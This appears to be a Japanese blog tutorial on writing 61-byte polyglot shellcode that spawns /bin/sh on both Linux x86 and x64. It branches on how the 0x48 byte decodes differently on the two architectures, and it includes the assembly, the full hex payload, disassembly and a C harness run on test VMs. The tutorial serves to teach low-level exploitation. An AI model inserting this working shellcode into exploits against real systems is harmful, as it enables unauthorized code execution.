x86とx64の両方で動くシェルコードを書いてみる
オペコードの解釈の違いを利用し、Linux x86とLinux x64の両方で動くシェルコード(polyglot shellcode)を書いてみる。
環境
Ubuntu 12.04 LTS 32bit版および64bit版
$ uname -a Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
$ uname -a Linux vm-ubuntu64 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
x64におけるREXプレフィックス
x64では、レジスタを64bit幅として扱うとき命令の頭にREXプレフィックスと呼ばれる1バイトのプレフィックスがつけられる。 64bitのLinux上で確認してみる。
$ uname -a Linux vm-ubuntu64 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux $ echo "test eax, eax" | as -msyntax=intel -mnaked-reg -aln -o /dev/null 1 0000 85C0 test eax,eax $ echo "test rax, rax" | as -msyntax=intel -mnaked-reg -aln -o /dev/null 1 0000 4885C0 test rax,rax
ここでは、48がREXプレフィックスである。
一方、x86では48はdec eax
を意味する。
すなわち、x86とx64では48 85 C0
の解釈が異なる。
$ echo -en "\x48\x85\xc0" >hoge && objdump -M intel,x86 -D -b binary -m i386 hoge 00000000 <.data>: 0: 48 dec eax 1: 85 c0 test eax,eax $ echo -en "\x48\x85\xc0" >hoge && objdump -M intel,x86-64 -D -b binary -m i386 hoge 00000000 <.data>: 0: 48 85 c0 test rax,rax
これを利用することで、動作しているアーキテクチャがx86かx64かを判定することができる。
シェルコードを書いてみる
上の違いを利用し、各アーキテクチャ用のシェルコードに分岐するシェルコードを書くと次のようになる。
/* polyglot.s */ .intel_syntax noprefix .globl _start _start: xor rax, rax test rax, rax jne x86 x64: .ascii "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05" x86: .ascii "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
x86用は「Linux x86用のシェルコードを書いてみる」、x64用は「x64でスタックバッファオーバーフローをやってみる」で作ったシェルコードを利用した。
64bit環境上でアセンブルしてみる。
$ uname -a Linux vm-ubuntu64 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux $ gcc -nostdlib polyglot.s $ objdump -d a.out 00000000004000d4 <_start>: 4000d4: 48 31 c0 xor rax,rax 4000d7: 48 85 c0 test rax,rax 4000da: 75 1d jne 4000f9 <x86> 00000000004000dc <x64>: 4000dc: 48 31 d2 xor rdx,rdx 4000df: 52 push rdx 4000e0: 48 b8 2f 62 69 6e 2f movabs rax,0x68732f2f6e69622f 4000e7: 2f 73 68 4000ea: 50 push rax 4000eb: 48 89 e7 mov rdi,rsp 4000ee: 52 push rdx 4000ef: 57 push rdi 4000f0: 48 89 e6 mov rsi,rsp 4000f3: 48 8d 42 3b lea rax,[rdx+0x3b] 4000f7: 0f 05 syscall 00000000004000f9 <x86>: 4000f9: 31 d2 xor edx,edx 4000fb: 52 push rdx 4000fc: 68 2f 2f 73 68 push 0x68732f2f 400101: 68 2f 62 69 6e push 0x6e69622f 400106: 89 e3 mov ebx,esp 400108: 52 push rdx 400109: 53 push rbx 40010a: 89 e1 mov ecx,esp 40010c: 8d 42 0b lea eax,[rdx+0xb] 40010f: cd 80 int 0x80 $ objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g' \x48\x31\xc0\x48\x85\xc0\x75\x1d\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80
このシェルコードの長さは61バイトである。
シェルコードをファイルに書き出し、x86とx64でそれぞれディスアセンブルしてみると次のようになる。
$ echo -en '\x48\x31\xc0\x48\x85\xc0\x75\x1d\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80' > polyglot $ objdump -M intel,x86 -b binary -m i386 -D polyglot 00000000 <.data>: 0: 48 dec eax 1: 31 c0 xor eax,eax 3: 48 dec eax 4: 85 c0 test eax,eax 6: 75 1d jne 0x25 ... 25: 31 d2 xor edx,edx 27: 52 push edx 28: 68 2f 2f 73 68 push 0x68732f2f 2d: 68 2f 62 69 6e push 0x6e69622f 32: 89 e3 mov ebx,esp 34: 52 push edx 35: 53 push ebx 36: 89 e1 mov ecx,esp 38: 8d 42 0b lea eax,[edx+0xb] 3b: cd 80 int 0x80 $ objdump -M intel,x86-64 -b binary -m i386 -D shellcode 00000000 <.data>: 0: 48 31 c0 xor rax,rax 3: 48 85 c0 test rax,rax 6: 75 1d jne 0x25 8: 48 31 d2 xor rdx,rdx b: 52 push rdx c: 48 b8 2f 62 69 6e 2f movabs rax,0x68732f2f6e69622f 13: 2f 73 68 16: 50 push rax 17: 48 89 e7 mov rdi,rsp 1a: 52 push rdx 1b: 57 push rdi 1c: 48 89 e6 mov rsi,rsp 1f: 48 8d 42 3b lea rax,[rdx+0x3b] 23: 0f 05 syscall ...
test eax, eax
はeaxが0かどうかを判定する命令であるが、x86の場合はxor eax, eax
の後dec eax
が実行されるため、これは偽となり0x25にジャンプする。
一方、x64の場合は真となり、ジャンプは行われない。
シェルコードにジャンプするプログラムを書いてみる
スタック上に置いたシェルコードにジャンプするプログラムを書いてみる。
/* shellcode.c */ #include <stdio.h> int main() { char shellcode[] = "\x48\x31\xc0\x48\x85\xc0\x75\x1d\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"; printf("shellcode = %p\n", shellcode); (*(void (*)())shellcode)(); }
$ uname -a Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux $ gcc -z execstack shellcode.c $ ./a.out shellcode = 0xbff97d3e $ id uid=1000(user) gid=1000(user) groups=1000(user) $
$ uname -a Linux vm-ubuntu64 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux $ gcc -z execstack shellcode.c $ ./a.out shellcode = 0x7fff93bc6da0 $ id uid=1000(user) gid=1000(user) groups=1000(user) $
同一のシェルコードにより、x86、x64の両方でシェルが起動できていることが確認できた。